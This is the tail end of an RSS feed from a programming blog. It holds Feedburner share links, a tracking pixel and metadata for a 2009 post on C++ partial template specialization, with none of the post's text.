&lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=G3edv8HB"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=lBmOjZba"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=lBmOjZba" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=5VLHc6Pa"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=O3JtGWJG"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?i=O3JtGWJG" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=JUA4f62j"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/StupefyDeveloper?a=ozpmoZLz"&gt;&lt;img src="http://feeds.feedburner.com/~f/StupefyDeveloper?d=42" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/hao5r9k4dLM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/hao5r9k4dLM/c-partial-template-specialization-of.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>2</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/01/c-partial-template-specialization-of.html</feedburner:origLink></item></channel></rss>

